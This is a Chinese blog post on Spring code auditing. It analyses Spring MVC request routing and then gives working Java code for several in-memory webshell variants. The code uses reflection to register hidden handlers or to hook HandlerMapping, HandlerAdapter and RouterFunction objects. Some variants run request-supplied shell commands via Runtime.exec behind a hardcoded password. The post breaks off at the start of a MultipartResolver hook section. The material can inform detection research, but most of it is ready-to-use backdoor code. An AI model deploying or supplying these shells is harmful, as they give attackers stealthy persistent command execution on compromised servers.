【Spring代码审计】SpringWeb内存马变型

news/2025/1/5 8:07:16/文章来源:https://www.cnblogs.com/o-O-oO/p/18648985
一、前言二、路由分析2.1 获取HandlerExecutionChain2.2 获取HandlerAdapter2.3 执行2.4 路由俯瞰图三、变型3.1 获取DispatcherServlet对象3.2 向HandlerMapping添加Handler3.3 自定义Handler.*相关属性3.4 修改路由处理过程的其他属性四、总结

一、前言

业界公开的Spring内存马,主要分为两类:Controller型内存马和Interceptor类内存马。

其中实现Controller型内存马注入的代码如下,注入的核心逻辑是找到和路由分发功能有关的RequestMappingHandlerMapping对象,然后通过调用其registerMapping方法,动态添加路由及其对应的handler。

public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");method.setAccessible(true);Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");field.setAccessible(true);Map urlLookup = (Map) field.get(mappingRegistry);Iterator urlIterator = urlLookup.keySet().iterator();while (urlIterator.hasNext()){String urlPath = (String) urlIterator.next();if (this.injectUrlPath.equals(urlPath)){System.out.println("URL已存在");return;}}Method method2 = InjectToController.class.getMethod("test");PatternsRequestCondition url = new PatternsRequestCondition(this.injectUrlPath);RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);InjectToController injectToController = new InjectToController("aaa");mappingHandlerMapping.registerMapping(info, injectToController, method2);
}

interceptor型内存马的注入代码如下,注入的核心逻辑同样是先找到RequestMappingHandlerMapping对象,然后获取其从AbstractHandlerMapping父类继承的adaptedInterceptors属性,一个负责维护拦截器链的List,然后实现一个HandlerInterceptor加入List中。

public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");field.setAccessible(true);java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);// 避免重复添加for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {if (adaptedInterceptors.get(i) instanceof TestInterceptor) {System.out.println("已经添加过TestInterceptor实例了");return;}}TestInterceptor aaa = new TestInterceptor("aaa"); adaptedInterceptors.add(aaa); 
}

:此处代码来源于

https://github.com/bitterzzZZ/MemoryShellLearn/blob/main/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B3%A8%E5%85%A5%E5%86%85%E5%AD%98%E9%A9%AC/spring-controller-interceptor/

不难发现,目前对于Spring内存马注入的一个重要对象是RequestMappingHandlerMapping,相应地,笔者看到很多文章和论文对于Spring内存马的查杀、防护,重点都是在分析RequestMappingHandlerMapping类。

但实际上,SpringWeb的路由处理核心并不在RequestMappingHandlerMapping,该类只是HandlerMapping的其中一种实现。

下面先分析SpringWeb的路由分发过程,然后给出几种不一样的Spring内存马注入点。

二、路由分析

SpringWeb的路由处理入口是DispatcherServlet,其继承关系如下所示(仅列出部分方法)。

Servlet是通过service()方法开始接入的,从图中可以看出,如果要从Spring接管路由开始分析,则应该以FrameworkServlet#service作为起点。不过这里跳过前面的调用过程,跳到DispatcherServlet#doDispatch方法开始,该方法其实分为四个部分:

第一部分:通过getHandler()方法获取HandlerExecutionChain

第二部分:通过getHandlerAdapter()方法获取HandlerAdapter

第三部分:执行,包括执行interceptorList,以及执行handler

第四部分:设配执行结果并返回

protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {...try {...try {// 解析multipart请求,非multipart请求会原样返回HttpServletRequest processedRequest = checkMultipart(request);multipartRequestParsed = (processedRequest != request);// part1: 获取HandlerExecutionChainHandlerExecutionChain mappedHandler = getHandler(processedRequest);if (mappedHandler == null) {noHandlerFound(processedRequest, response);return;}// part2: 获取HandlerAdapterHandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());... // part3:执行if (!mappedHandler.applyPreHandle(processedRequest, response)) {return;}ModelAndView mv = ha.handle(processedRequest, response, mappedHandler.getHandler());...applyDefaultViewName(processedRequest, mv);mappedHandler.applyPostHandle(processedRequest, response, mv);}catch (Exception ex) {...}// part4: 将执行结果,也就是ModelAndView映射到responseprocessDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);}catch (Throwable ex) {... }finally {...}
}

这里重点对前面三部分展开进一步分析。

2.1 获取HandlerExecutionChain

通过HandlerMapping#getHandler()方法来获取HandlerExecutionChain,该类定义如下。有两个重要的属性:

handler:对应的其实就是业务处理类,大家常说的Controller,其实是Handler的一种,Handler本质上是不限定类型的。

interceptorList:拦截器链,保存了最终要执行的拦截链。

接着进一步分析getHandler方法

protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {if (this.handlerMappings != null) {for (HandlerMapping mapping : this.handlerMappings) {HandlerExecutionChain handler = mapping.getHandler(request);if (handler != null) {return handler;}}}return null;
}

可以看到这过程是通过HandlerMapping做的,DispatchServlet的handlerMappings属性有多个HandlerMapping。HndlerMapping有多个实现类,前面提到的RequestMappingHandlerMapping是其中之一, 下图是HandlerMapping家族。

:在SpringMVC中,DispatcherServlet的handlerMappings默认只创建了两个HandlerMapping:RequestMappingHandlerMapping、BeanNameUrlHandlerMapping

HandlerMapping一共有五个默认的实现类,不同的实现类对应了不同的handler注册方式。

例如我们常用的@Controller注解+@RequestMapping注解的方式来注册handler,对应的HandlerMapping是RequestMappingHandlerMapping,而最终生成的handler类型则是HandlerMethod。

@Controller
@RequestMapping("/ctest")
public class ctest {@PostMapping("/index")@ResponseBodypublic String index(){System.out.println("welcome to springmvc");return "ctest";}
}

如果beanName以/开头,则也会被Spring解析成处理路由的Handler,如下代码,则对应HandlerMapping是BeanNameUrlHandlerMapping,而Handler就是Controller(取决于bean实现了哪个接口)。

@Component("/*")
public class DefaultController implements Controller  {@Overridepublic ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {ModelAndView modelAndView = new ModelAndView();modelAndView.addObject("content","bean");modelAndView.setViewName("bean");return modelAndView;}
}

RouterFunctionMapping一般用于WebFlux的路由分发,而PathPatternMatchableHandlerMapping的getHandler方法是通过属性delegate实现的,本质上只做类似代理的功能,因此这两个就不展开分析了。

分析不同实现过程比较冗长,这里仅给出一些结论:

也就是说,不同方式来注册"特定路由的处理类",会生成不同类型的Handler对象,不同的Handler对象由不同的HandlerMapping对象管理。

当请求进入后,DispatchServlet会遍历自身所有HandlerMapping,找到对应的Handler。

HandlerMapping的核心就在于找到对应的Handler,然后将Handler封装成HandlerExecutionChain对象,还记得HandlerExecutionChain的两个属性吗?handler+interceptorList,其实封装HandlerExecutionChain的过程,就是添加拦截链的过程,这个过程其实是在上层的抽象类AbstractHandlerMapping实现的,不同的HandlerMapping添加拦截链的过程是一样的,不过的是寻找Handler的过程,以及Handler的类型。

此外需要注意的是,不同HandlerMapping是有优先级的,优先级就体现在DispatcherServlet.handlerMappings中的顺序,优先级如下:

RequestMappingHandlerMapping:处理注解生成的路由

BeanNameUrlHandlerMapping:默认处理bean配置生成的路由

SimpleUrlHandlerMapping:显式使用SimpleUrlHandlerMapping注册路由

只要在前一类HandlerMapping找到了路由处理类,就不会再进入下一个HandlerMapping。

例如在BeanNameUrlHandlerMapping配置了一个DefaultHandler,那么无论什么路由都走不到SimpleUrlHandlerMapping,SimpleUrlHandlerMapping配置的所有路由都相当于失效了。

<bean name="/*" class="controller.DefaultController"></bean>

对于从Handler到HandlerExecutionChain的这一段,不展开分析,大体上可以认为:

  • 如果Handler本身就是一个HandlerExecutionChain,那么将本身的属性复制过来,再额外添加公共的拦截链即可。(对于部分Handler,会再一开始就是生成对应的HandlerExecutionChain)
    
  • 如果Handler不是一个HandlerExecutionChain,那么就创建一个新的HandlerExecutionChain,再额外添加公共的拦截链。
    

可以简单地看作,HandlerExecutionChain=Handler+interceptorList

2.2 获取HandlerAdapter

DispatcherServlet#getHandlerAdapter()方法最终返回一个HandlerAdapter对象。

protected HandlerAdapter getHandlerAdapter(Object handler) throws ServletException {if (this.handlerAdapters != null) {for (HandlerAdapter adapter : this.handlerAdapters) {if (adapter.supports(handler)) {return adapter;}}}throw new ServletException("No adapter for handler [" + handler +"]: The DispatcherServlet configuration needs to include a HandlerAdapter that supports this handler");
}

HandlerAdapter最终的作用就是执行Handler的最终方法,前面说到,Handler本身是不限制类型的。

这些不同类型的handler怎么找到调用的入口方法,以及为不同方法传参呢?这就是HandlerAdapter的作用。

public interface HandlerAdapter {boolean supports(Object handler);@NullableModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception;@Deprecatedlong getLastModified(HttpServletRequest request, Object handler);}

HandlerAdapter"家族成员"的分布如下:

:在SpringMVC中,DispatcherServlet的handlerAdapters默认创建了三个HandlerAdapter:RequestMappingHandlerAdapter 、HttpRequestHandlerAdapter、SimpleControllerHandlerAdapter

进一步分析各个HandlerAdapter的supports方法,可以看出其支持的handler,关系如下:

  • RequestMappingHandlerAdapter  =>  HandlerMethod
    
  • HttpRequestHandlerAdapter => HttpRequestHandler
    
  • SimpleControllerHandlerAdapter => Controller
    
  • SimpleServletHandlerAdapter => Servlet
    
  • HandlerFunctionAdapter => HandlerFunction
    

2.3 执行

回顾一下执行部分的代码,其实执行又可以细分为三小步,见注释所示。

// 1. 执行拦截器链的preHandle方法
if (!mappedHandler.applyPreHandle(processedRequest, response)) {return;
}//  2. 执行HandlerAdapter的handle方法
ModelAndView mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
...applyDefaultViewName(processedRequest, mv);
// 3. 执行拦截器链的postHandle方法
mappedHandler.applyPostHandle(processedRequest, response, mv);

关于拦截器链的这一部分,对于所有Handler都是一致的:

  • 先按顺序调用所有interceptor的preHandle方法,如果中间有一个方法返回了false,则倒序调用已执行过的interceptor的afterCompletion方法。然后直接返回。
    
  • 等待HandlerAdapter的handle方法,倒序调用所有interceptor的postHandle方法。然后再倒序调用已执行过的interceptor的afterCompletion方法。
    

前面提到,HandlerAdapter的作用就是为对应handler怎么找到调用的入口方法,并设配入参。其handle方法的原型如下,本身的入参一共有三个。

ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception;

这里挑一个最简单的SimpleControllerHandlerAdapter来观察其handle方法的实现。

public ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {return ((Controller) handler).handleRequest(request, response);
}

直接调用对应Controler的handleRequest方法,并传入request和response对象。这和Controller的接口定义是一致的。

public interface Controller {@NullableModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception;}

当然,如果Handler的类型是HandlerMehtod,对应的设配器就是RequestMappingHandlerAdapter,情况就会复杂一些,毕竟入参不定,方法名也不定,Spring通过反射来实现了这些功能。不过RequestMappingHandlerAdapter分析不是今天的重点,只需要知道HandlerAdapter和Handler是如何运作的即可。

2.4 路由分发俯瞰图

以上就是SpringWeb路由分发的过程,可以总结为一张图:

三、变型

通过上一章对SpringWeb路由分发的分析,很容易可以看到,现在公开注入内存马的方式,也就是使用RequestMappingHandlerMapping类,只是HandlerMapping的一种。在SpringWeb的路由处理过程中,还有多个注入点。

3.1 获取DispatcherServlet对象

前面提到,DispatcherServlet才是路由处理的核心,无论是HandlerMapping,还是HandlerAdapter,都是DispatcherServlet的属性之一。如果能拿到DispatcherServlet,通过反射修改其属性,将大大增加内存马的注入范围。

SpringBoot可以直接在WebApplicationContext中拿到

AbstractApplicationContext webApplicationContext = (AbstractApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
servlet = (DispatcherServlet) webApplicationContext.getBean("dispatcherServlet");

但在纯SpringMVC的应用中,DispatcherServlet并没有默认注册到webApplicationContext。这里通过调试,找到了一种新方法适用于SpringMVC:

最终获取方法如下:

public class Util {public DispatcherServlet getServlet(){AbstractApplicationContext webApplicationContext = (AbstractApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);DispatcherServlet servlet = null;try {servlet = (DispatcherServlet) webApplicationContext.getBean("dispatcherServlet");}catch (Exception e1){try {for (ApplicationListener applicationListener:webApplicationContext.getApplicationListeners()) {if (applicationListener instanceof SourceFilteringListener) {GenericApplicationListenerAdapter gl = (GenericApplicationListenerAdapter) getFieldValue(applicationListener, "delegate");Object delegate = getFieldValue(gl, "delegate");if (delegate.getClass().getName().equals("org.springframework.web.servlet.FrameworkServlet$ContextRefreshListener")) {servlet = (DispatcherServlet) getFieldValue(delegate, "this$0");}}}}catch (Exception e2){e2.printStackTrace();}}return servlet;}public static Field getField(Class clazz, String fieldName) {try {Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);return field;}catch (Exception e){return null;}}public static Object getFieldValue(Object obj,String fieldName) throws IllegalAccessException {Class clazz = obj.getClass();Field targetField = getField(clazz,fieldName);while (targetField==null && clazz!=Object.class){clazz = clazz.getSuperclass();targetField = getField(clazz,fieldName);}if(targetField!=null){return targetField.get(obj);}return null;}
}

3.2 向HandlerMapping添加Handler

HandlerMapping几乎可以看作SpringWeb路由分发的第一个入口,并且所有HandlerMapping都直接注册到了WebApplicationContext,可以直接在WebApplicationContext中拿到,因此可以通过向已有的HandlerMapping添加Handler实现内存马。

3.2.1 HandlerMethodShell

也就是业界所提的"Spring Controller"型内存马,其实个人更愿意将其称为HandlerMethod型内存马,因为最终创建的Handler类型是HandlerMethod。

从SpringWeb 4.2.0.RELEASE版本开始,requestMappingHandlerMapping的父类AbstractHandlerMethodMapping提供了registerMapping方法注册,因此不需要自己去构造HandlerMethod对象。

public class HandlerMethodShell {public String injecShell() throws Exception {WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);RequestMappingHandlerMapping requestMappingHandlerMapping = webApplicationContext.getBean(RequestMappingHandlerMapping.class);Method method = HandlerMethodShell.class.getMethod("shell");RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) Util.getFieldValue(requestMappingHandlerMapping,"config");RequestMappingInfo info = RequestMappingInfo.paths("/shell1").options(config).build();Object handler = new HandlerMethodShell();requestMappingHandlerMapping.registerMapping(info, handler, method);return "{\"result\":\"injectHandlerMethodShell\"}";}public void shell() throws Exception {HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();...}
}

3.2.2 ControllerHandlerShell

实现Controller接口,通过反射添加到BeanNameUrlHandlerMapping

Controller默认对应的是SimpleControllerHandlerAdapter,默认存在,因此不需要手动添加。

public class ControllerHandlerShell implements Controller {public String injectShell() throws Exception{WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);BeanNameUrlHandlerMapping beanNameUrlHandlerMapping = webApplicationContext.getBean(BeanNameUrlHandlerMapping.class);Class abstractUrlHandlerMapping = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping");Field field = abstractUrlHandlerMapping.getDeclaredField("handlerMap");field.setAccessible(true);Map handlerMap = (Map) field.get(beanNameUrlHandlerMapping);handlerMap.put("/shell2",new ControllerHandlerShell());return "{\"result\":\"injectControllerHandlerShell\"}";}@Overridepublic ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {...}
}

3.2.3 HttpRequestHandlerShell

实现HttpRequestHandler接口,通过反射添加到BeanNameUrlHandlerMapping。

除了Controller,HttpRequestHandler也是Spring内置的一种handler类型。并且对应的HttpRequestHandlerAdapter也是默认存在的。

public class HttpRequestHandlerShell implements HttpRequestHandler {public String injectShell() throws Exception{WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);BeanNameUrlHandlerMapping beanNameUrlHandlerMapping = webApplicationContext.getBean(BeanNameUrlHandlerMapping.class);Class abstractUrlHandlerMapping = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping");Field field = abstractUrlHandlerMapping.getDeclaredField("handlerMap");field.setAccessible(true);Map handlerMap = (Map) field.get(beanNameUrlHandlerMapping);handlerMap.put("/shell3",new HttpRequestHandlerShell());return "{\"\result\":\"injectHttpRequestHandlerShell\"}";}@Overridepublic void handleRequest(HttpServletRequest request, HttpServletResponse response) throws IOException {...}}

3.2.4 ServletHandlerShell

实现一个Servlet类,通过反射添加到BeanNameUrlHandlerMapping。

注意这里虽然是Servlet,但实际上是作为一个Handler添加的,在DispatcherServlet后接入。对应的是SimpleServletHandlerAdapter,这个HandlerAdapter并不是默认就创建的,因此需要考虑手工添加的情况。

public class ServletHandlerShell extends HttpServlet {public String injectShell() throws Exception{WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);BeanNameUrlHandlerMapping beanNameUrlHandlerMapping = webApplicationContext.getBean(BeanNameUrlHandlerMapping.class);// 添加handlerAdapterDispatcherServlet servlet = new Util().getServlet();List<HandlerAdapter> handlerAdapters = (List<HandlerAdapter>) Util.getFieldValue(servlet,"handlerAdapters");boolean hasSimpleServletHandlerAdapter = false;for(HandlerAdapter adapter:handlerAdapters){if(adapter instanceof SimpleServletHandlerAdapter){hasSimpleServletHandlerAdapter = true;break;}}if(!hasSimpleServletHandlerAdapter){handlerAdapters.add(new SimpleServletHandlerAdapter());}// 添加handlerClass abstractUrlHandlerMapping = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping");Field field = abstractUrlHandlerMapping.getDeclaredField("handlerMap");field.setAccessible(true);Map handlerMap = (Map) field.get(beanNameUrlHandlerMapping);handlerMap.put("/shell4",new ServletHandlerShell());return "{\"\result\":\"injectServletHandlerShell\"}";}@Overrideprotected void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {...}}

3.2.5 HandlerFunctionShell

前面说到,RouterFunctionMapping一般用于WebFlux的路由处理,但实际上在SpringWeb中也是可以使用的,SpringBoot也默认创建了一个RouterFunctionMapping。

RouterFunctionMapping通过自身另外一个属性RouterFunction来获取的Handler对象,默认类型为HandlerFunction,对应的Adapter是HandlerFunctionAdapter。

如下是RouterFunctionMapping获取Handler的过程。

protected Object getHandlerInternal(HttpServletRequest servletRequest) throws Exception {if (this.routerFunction != null) {ServerRequest request = ServerRequest.create(servletRequest, this.messageConverters);HandlerFunction<?> handlerFunction = this.routerFunction.route(request).orElse(null);setAttributes(servletRequest, request, handlerFunction);return handlerFunction;}else {return null;}
}

如果需要添加一个HandlerFunction来作为内存马,就需要Hook RouterFunctionMapping的routerFunction。

public class HandlerFunctionShell implements HandlerFunction {@RequestMapping("/injectRouteFunctionHandlerDelegateShell")public String injectRouteFunctionHandlerShell() throws Exception{WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);DispatcherServlet servlet = new Util().getServlet();// 如果未添加HandlerFunctionAdapter,则主动添加try {List<HandlerAdapter> handlerAdapters = (List<HandlerAdapter>) Util.getFieldValue(servlet,"handlerAdapters");boolean hasHandlerFunctionAdapter = false;for(HandlerAdapter adapter:handlerAdapters){if(adapter instanceof HandlerFunctionAdapter){hasHandlerFunctionAdapter = true;break;}}if(!hasHandlerFunctionAdapter){handlerAdapters.add(new HandlerFunctionAdapter());}}catch (Exception e){e.printStackTrace();}// 如果未注册RouteFuntion,则主动注册,否则hook其RouterFunctionList<HandlerMapping> handlerMappings = (List<HandlerMapping>) Util.getFieldValue(servlet,"handlerMappings");boolean hasRouterFunctionMapping = false;RouterFunctionMapping routerFunctionMapping = null;for(HandlerMapping handlerMapping: handlerMappings){if(handlerMapping instanceof RouterFunctionMapping){routerFunctionMapping = (RouterFunctionMapping) handlerMapping;hasRouterFunctionMapping = true;break;}}if(!hasRouterFunctionMapping){routerFunctionMapping = new RouterFunctionMapping();handlerMappings.add(routerFunctionMapping);}// hook Funtionif(routerFunctionMapping != null){RouterFunction routerFunction = (RouterFunction) Util.getFieldValue(routerFunctionMapping,"routerFunction");RouterFunctionDelagate functionDelagate = new RouterFunctionDelagate(routerFunction);routerFunctionMapping.setRouterFunction(functionDelagate);}return "{\"\result\":\"injectRouteFunctionHandlerDelegateShell\"}";}@Overridepublic ServerResponse handle(ServerRequest request) throws Exception {boolean islinux = true;String osType = System.getProperty("os.name");if (osType !=null && osType.toLowerCase().contains("win")){islinux = false;}String cmd = request.param("cmd").get();System.out.println("cmd: " + cmd);String[] cmds = islinux ? new String[]{"sh","-c",cmd} : new String[]{"cmd.exe","/c",cmd};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\A");String output = s.hasNext() ? s.next() : "";return ServerResponse.status(HttpStatus.OK).contentType(MediaType.TEXT_PLAIN).body(output);}class RouterFunctionDelagate<T extends ServerResponse> implements RouterFunction {RouterFunction delegate;HandlerFunctionShell handlerFunctionShell;public RouterFunctionDelagate(RouterFunction delegate){this.delegate = delegate;this.handlerFunctionShell = new HandlerFunctionShell();}@Overridepublic Optional<HandlerFunction> route(ServerRequest request) {try {String cmd = request.param("cmd").get();String passwd = request.param("mypasswd").get();System.out.println("passwd: " + passwd);System.out.println("cmd: " + cmd);if(passwd!=null && cmd !=null & passwd.equals("ape1ron")){return Optional.of(this.handlerFunctionShell);}}catch (Exception e){}if (delegate==null){return Optional.empty();}return delegate.route(request);}@Overridepublic RouterFunction and(RouterFunction other) {if (delegate==null){return null;}return delegate.and(other);}@Overridepublic RouterFunction andOther(RouterFunction other) {if (delegate==null){return null;}return this.delegate.andOther(other);}@Overridepublic  RouterFunction andRoute(RequestPredicate predicate, HandlerFunction handlerFunction) {if (delegate==null){return null;}return this.delegate.andRoute(predicate,handlerFunction);}@Overridepublic RouterFunction andNest(RequestPredicate predicate, RouterFunction routerFunction) {if (delegate==null){return null;}return this.delegate.andNest(predicate,routerFunction);}@Overridepublic  RouterFunction filter(HandlerFilterFunction filterFunction) {if (delegate==null){return null;}return this.delegate.filter(filterFunction);}@Overridepublic RouterFunction withAttribute(String name, Object value) {if (delegate==null){return null;}return this.delegate.withAttribute(name,value);}@Overridepublic RouterFunction withAttributes(Consumer attributesConsumer) {if (delegate==null){return null;}return this.delegate.withAttributes(attributesConsumer);}}
}

3.3 自定义Handler.*相关属性

前面已经找到了获取DispatcherServlet对象的方法,因此除了向已有的HandlerMapping添加Handler外,还可以直接注册HandlerMapping、或者是HandlerAdapter等对象,也可以实现接管路由的功能,实现内存马。

3.3.1 HandlerMappingShell

通过前面的路由分析可以知道,DispatcherServlet会遍历调用其handlerMappings属性保存的HandlerMapping的getHandler方法。因此可以实现一个自定义的HandlerMapping,让其返回我们自定义的Handler。

Handler本身就可以作为任意类型,要正常被调用,还需要一个HandlerAdapter配合,才能正常调用。如下分别实现了自定义的:HandlerMapping+Handler+HandlerAdapter来注入内存马。

注意,实际判断路由是否由自定义的HandlerMapping处理,是在getHandler()方法,这里可以匹配任意路由,通过了判断参数的mypasswd和cmd来作为判断条件,因此也可以实现复用正常的请求路径。

public class HandlerMappingShell  implements HandlerMapping {HandlerExecutionChain chain;public String injectShell() throws Exception{DispatcherServlet servlet = new Util().getServlet();List<HandlerAdapter> handlerAdapters = (List<HandlerAdapter>) Util.getFieldValue(servlet,"handlerAdapters");handlerAdapters.add(new HandlerMappingShell.MyHandlerAdapter());List<HandlerMapping> handlerMappings = (List<HandlerMapping>) Util.getFieldValue(servlet,"handlerMappings");handlerMappings.add(0,new HandlerMappingShell());return "{\"result\":\"HandlerMappingShell\"}";}public HandlerMappingShell(){chain = new HandlerExecutionChain(new HandlerMappingShell.MyHandler());}@Overridepublic HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {String passwd = request.getParameter("mypasswd");String cmd = request.getParameter("cmd");if(passwd!=null && cmd!=null && passwd.equals("ape1ron") && !cmd.isEmpty()){return chain;}return null;}class MyHandler{public void handle(HttpServletRequest request,HttpServletResponse response) throws IOException {if (request.getParameter("cmd") !=null){boolean islinux = true;String osType = System.getProperty("os.name");if (osType !=null && osType.toLowerCase().contains("win")){islinux = false;}String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\A");String output = s.hasNext() ? s.next() : "";response.getWriter().write(output);response.getWriter().flush();response.getWriter().close();}}}class MyHandlerAdapter implements HandlerAdapter{@Overridepublic boolean supports(Object handler) {return handler instanceof HandlerMappingShell.MyHandler;}@Overridepublic ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {((HandlerMappingShell.MyHandler)handler).handle(request,response);return null;}@Overridepublic long getLastModified(HttpServletRequest request, Object handler) {return 0;}}
}

3.3.2 HandlerAdapterShell

上面实现了三个对象来定制了一条完整的路由,但实际上最终执行是由HandlerAdapter决定,因此实现HandlerAdapter也能达成目的。

实现一个自定义的HandlerAdapter,并放置于DispatcherServlet.handlerAdapters列表的首位。通过自定义HandlerAdapter来hook其他所有HandlerAdapter。

public class HandlerAdapterShell implements HandlerAdapter{List<HandlerAdapter> handlerAdapters;public String injectShell() throws Exception{DispatcherServlet servlet = new Util().getServlet();List<HandlerAdapter> handlerAdapters = (List<HandlerAdapter>) Util.getFieldValue(servlet,"handlerAdapters");handlerAdapters.add(0,new HandlerAdapterShell(handlerAdapters));return "{\"result\":\"HandlerAdapterShell\"}";}public HandlerAdapterShell(List<HandlerAdapter> handlerAdapters){this.handlerAdapters = handlerAdapters;}@Overridepublic boolean supports(Object handler) {return true;}@Overridepublic ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {String passwd = request.getParameter("mypasswd");String cmd = request.getParameter("cmd");if (passwd!=null && cmd!=null && passwd.equals("ape1ron") && !cmd.isEmpty()){boolean islinux = true;String osType = System.getProperty("os.name");if (osType !=null && osType.toLowerCase().contains("win")){islinux = false;}String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\A");String output = s.hasNext() ? s.next() : "";response.getWriter().write(output);response.getWriter().flush();response.getWriter().close();return null;}// 重新找到适配的handlerAdpapter,相当于做了一层代理for(HandlerAdapter handlerAdapter:this.handlerAdapters){if(!(handlerAdapter instanceof HandlerAdapterShell) && handlerAdapter.supports(handler)){return handlerAdapter.handle(request,response,handler);}}return null;}@Overridepublic long getLastModified(HttpServletRequest request, Object handler) {for(HandlerAdapter handlerAdapter:this.handlerAdapters){if(!(handlerAdapter instanceof HandlerAdapterShell) && handlerAdapter.supports(handler)){return handlerAdapter.getLastModified(request,handler);}}return 0;}
}

3.4 修改路由处理过程的其他属性

前面两大类实现SpringWeb内存马的方式,都是针对Spring路由处理过程中涉及到的重要类对象,实际上要注入内存马,有三个重要的前提:

  • 能拿到输入,也就是要能拿到request对象
    
  • 能够将执行结果回显,理论上是要拿到response对象,但需要处理一些小细节,例如拿到response对象过早,则写入响应体,很可能会被后面覆盖。
    
  • 不能影响正常业务的处理过程。
    

我们知道,在SpringWeb中,可以通过RequestContextHolder直接拿到当前的request和response。

HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

因此两个前提在Spring是天然满足的,只要能够hook路由处理上的某些方法即可,只不过需要关心一些回显的一些细节。

3.4.1 hook DispatcherServlet.MultipartResolver

观察DispatcherServlet的doDispatch方法,在一开始会有一段判断是否为Multipart请求的过程。

继续跟进会发现会涉及multipartResolver来处理request。

因此,也可以通过hook DispatcherServlet的multipartResolver属性,来达到内存马的目的。不过不能在multipartResolver直接终止后续的过程返回,因此这里选择了将结果写到响应头,避免直接写到响应体被覆盖。

